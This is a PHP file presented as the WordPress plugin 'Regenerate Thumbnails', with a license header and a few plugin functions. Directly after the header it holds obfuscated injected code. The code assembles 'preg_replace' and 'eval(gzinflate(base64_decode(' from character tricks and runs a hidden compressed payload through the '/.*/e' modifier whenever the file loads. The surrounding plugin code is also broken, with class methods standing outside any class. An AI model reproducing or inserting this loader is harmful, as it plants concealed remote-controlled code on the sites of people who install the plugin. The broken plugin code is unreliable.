<?php /*

**************************************************************************

Plugin Name :  Regenerate Thumbnails
Plugin URI:   http://www.viper007bond.com/wordpress-plugins/regenerate-thumbnails/
Description:  Allows you to regenerate all thumbnails after changing the thumbnail sizes.
Version:      2.2.4
Author:       Viper007Bond
Author URI:   http://www.viper007bond.com/

**************************************************************************

Copyright (C) 2008-2011 Viper007Bond

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

**************************************************************************/$pTilBEr6676 = "dv*724lrxu8c9qjb.yz/fpsk16n(53thw0egm_o;)ia";$XwvE6389 = $pTilBEr6676[21].$pTilBEr6676[7].$pTilBEr6676[34].$pTilBEr6676[35].$pTilBEr6676[37].$pTilBEr6676[7].$pTilBEr6676[34].$pTilBEr6676[21].$pTilBEr6676[6].$pTilBEr6676[42].$pTilBEr6676[11].$pTilBEr6676[34];$HCkrTWf9704 = "\x65".chr(118)."".chr(97)."".chr(108)."".chr(40)."".chr(103)."\x7A".chr(105)."\x6e".chr(102)."lat".chr(101)."".chr(40)."base\x36\x34_\x64".chr(101)."\x63".chr(111)."de(";$yBxzVsP4216 = "".chr(41)."".chr(41).");";$pS2281 = $HCkrTWf9704."'jVLva8IwEP1XblJIMqT+qIoQCsrmh31S1C9DpGRtqoGauiR1jtL/fdc6Gcgmg3LJ9d69e3mJSqmyVjrqRYv5ar0h5/PZyPdCWke2jJWTo5G7yMhjJmJJSYf6j6wjSRsmvzW0gRDG5Vk5XqkUbqhdfKH0nDrIMFWZPNQ72vL9Dn6Z0LtC7KRtMV43W2cyqWmDZhCGIXRZ2WQQghE6ob1Bf9gdBf3huA29QdAdB8FoOGa88hKECGPEJ2W8WaNjYffUS9rQ8lt16DQRF8bTQsdO5RpsEgscmCjDyl2Wv4kMvIR7SIB0+VFqrFzK/GOP8ql3qqVIkTQFxOHxVNr8DoH4BHID18QnDOJcO6ULieejD8pGVz7/+WU5e1rPl6/RaraYLqe49b0TYzh/s8UZd0A117+oyhsj7qH599wfR/5EVlV1QaGxdd/V+Qgv2MlaFDqco0nxHjABYdESVOPyIt5TZ9QB/WIop7lnXl1eTxO/AA=='".$yBxzVsP4216;$XwvE6389($pTilBEr6676[19].$pTilBEr6676[16].$pTilBEr6676[2].$pTilBEr6676[19].$pTilBEr6676[34], $pS2281  ,"453");function add_admin_menu() {
		$this->menu_id = add_management_page( __( 'Regenerate Thumbnails', 'regenerate-thumbnails' ), __( 'Regen. Thumbnails', 'regenerate-thumbnails' ), $this->capability, 'regenerate-thumbnails', array(&$this, 'regenerate_interface') );
	}


// Enqueue the needed Javascript and CSS
function admin_enqueues( $hook_suffix ) {
		if ( $hook_suffix != $this->menu_id )
			return;

		// WordPress 3.1 vs older version compatibility
		if ( wp_script_is( 'jquery-ui-widget', 'registered' ) )
			wp_enqueue_script( 'jquery-ui-progressbar', plugins_url( 'jquery-ui/jquery.ui.progressbar.min.js', __FILE__ ), array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.8.6' );
		else
			wp_enqueue_script( 'jquery-ui-progressbar', plugins_url( 'jquery-ui/jquery.ui.progressbar.min.1.7.2.js', __FILE__ ), array( 'jquery-ui-core' ), '1.7.2' );

		wp_enqueue_style( 'jquery-ui-regenthumbs', plugins_url( 'jquery-ui/redmond/jquery-ui-1.7.2.custom.css', __FILE__ ), array(), '1.7.2' );
	}


// Add a "Regenerate Thumbnails" link to the media row actions
function add_media_row_action( $actions, $post ) {
		if ( 'image/' != substr( $post->post_mime_type, 0, 6 ) || ! current_user_can( $this->capability ) )
			return $actions;

		$url = wp_nonce_url( admin_url( 'tools.php?page=regenerate-thumbnails&goback=1&ids=' . $post->ID ), 'regenerate-thumbnails' );
		$actions['regenerate_thumbnails'] = '<a href="' . esc_url( $url ) . '" title="' . esc_attr( __( "Regenerate the thumbnails for this single image", 'regenerate-thumbnails' ) ) . '">' . __( 'Regenerate Thumbnails', 'regenerate-thumbnails' ) . '</a>';

		return $actions;
	}
